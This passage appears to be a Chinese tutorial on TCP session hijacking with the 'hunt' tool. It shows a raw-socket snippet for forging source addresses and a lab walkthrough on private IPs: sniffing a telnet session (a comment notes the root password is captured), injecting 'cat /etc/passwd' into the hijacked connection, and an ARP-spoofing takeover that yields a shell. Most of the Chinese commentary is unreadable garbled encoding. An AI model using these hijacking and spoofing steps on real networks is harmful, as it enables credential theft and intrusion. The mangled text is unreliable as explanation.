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sockfd = socket(AF_INET, SOCK_RAW, 255);
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

struct ip *ip;
struct tcphdr *tcp;
struct pseudohdr pseudoheader;
ip->ip_src.s_addr = xxx;
pseudoheader.saddr.s_addr = ip->ip_src.s_addr;
tcp->check = tcpchksum((u_short *)&pseudoheader,12+sizeof(struct tcphdr));
sendto(sockfd, buf, len, 0, (const sockaddr *)addr, sizeof(struct sockaddr_in));

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[root@dahubaobao hunt]#cd hunt-1.5
[root@dahubaobao hunt-1.5]#make
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s) simple hijack
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d) daemons rst/arp/sniff/mac
//¸ÃÑ¡ÏʵÏÖËĸö¹¦ÄÜ£¬·Ö±ðΪ£ºÖÕÖ¹»á»°£¬×Ô¶¯·¢ËÍ´øRST±ê־λµÄTCP°ü£»ARPÆÛÆ­ºó½øÐÐÊý¾Ý°üת·¢£»²»ÓÃ˵ÁË£¬Ðá̽¹¦ÄÜ£»ÔÚµ±Ç°ÍøÂçÉÏÊÕ¼¯MACµØÖ·¡£
ÆäËûµÄÑ¡ÏîºÜ¼òµ¥£¬²»ÔÚ¶à˵ÁË¡£»¹ÊÇÀ´¿´¿´¾ßÌåµÄÀý×Ó°É£¬ÎÒÏë´ó¼Ò¶¼µÈ²»¼°ÁË£¡^_^

2£¬Ó¦ÓÃʵÀý
²âÊÔ»·¾³£º
¹¥»÷ÕߣºRed Hat Linux 9.0 IP£º192.168.0.10
Ö÷»úA£ºWindows Advanced Server IP£º192.168.0.1
Ö÷»úB£ºFreeBSD 4.9 STABLE IP£º192.168.0.20

[root@dahubaobao hunt-1.5]#./hunt
/*
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> l //²é¿´µ±Ç°ÍøÂçÉϵĻỰ
0£©192.168.0.1 [3465] ?192.168.0.20 [23]
//Ö÷»úAÕýÔÚTelnetµ½Ö÷»úB

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> w //¼àÊÓµ±Ç°ÍøÂçÉϵĻỰ
0£©192.168.0.1 [3465] ?192.168.0.20 [23]
Choose conn>0 //Ñ¡Ôñ´òËã¼àÊӵĻỰ¡£ÓÉÓÚÎÒµÄÌõ¼þÓÐÏÞ£¬²»ÄÜÄ£Äâ¶à¸ö»á»°£¬Çë¶à¼ûÁ¿¡£
Dump [s]rc/[d]st/oth > //»Ø³µ
Print sec/dst same charactes y/n [n]> //»Ø³µ

ÏÖÔھͿÉÒÔ¼àÊӻỰÁË¡£Ö÷»úAÊäÈëµÄÒ»ÇÐÄÚÈÝ£¬ÎÒÃǶ¼¿ÉÒÔ¿´µ½£¬Èçͼ4¡£Ö÷»úAÔÚTelnet²¢µÇ½֮ºó£¬Ö±½Ósu root£¬password£ººó±ßµÄ¾ÍÊÇrootµÄÃÜÂë¡£ÏÖÔÚÕâ¸öϵͳÒѾ­ÍêÈ«ÓÉÄãËù¿ØÖÆÁË£¬×ÔÓÉ·¢»Ó°É£¡

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> s //½øÐÐ×¢Éäʽ»á»°½Ù³Ö
0£©192.168.0.1 [3465] ?192.168.0.20 [23]
choose conn> 0
dump connection y/n [n]>
Enter the command string you wish executed or [cr]> cat /etc/passwd
¹¥»÷ÕßµÄÒâͼÊÇ»ñÈ¡Ö÷»úBµÄpasswdÎļþµÄÄÚÈÝ£¬µ«ÓÉÓÚ×¢Éäʽ»á»°½Ù³ÖȱÏÝ£¬µ¼ÖÂÁËACK·ç±©£¬ËùÒÔHuntÏò»á»°Ë«·½·¢ËÍÁËÒ»¸ö´øRST±ê־λµÄTCP°üÀ´×èÖ¹ACK·ç±©¡£¾ßÌåÈçͼ5Ëùʾ¡£

--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> a //½øÐÐÖмäÈ˻Ự½Ù³Ö
0£©192.168.0.1 [3862] ?192.168.0.20 [23]
choose conn> 0
arp spoof src in dst y/n [y]>
src MAC [XX:XX:XX:XX:XX:XX]>
arp spoof dst in src y/n [y]>
dst MAC [XX:XX:XX:XX:XX:XX]>
input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>
dump connectin y/n [y]> n
press key to take voer of connection
ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA
ILED
do you want to force arp spoof nutil successed y/n [y]>
CTRL-C to break
CTRL+C //ÊÖ¹¤ÊäÈëCTRL+CÖжϣ¬²»ÐèµÈ´ý
-- operation canceled - press any key>
ARP spoof failed
ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED
you took over the connection
CTRL-] to break
-bash-2.05b$id
....................

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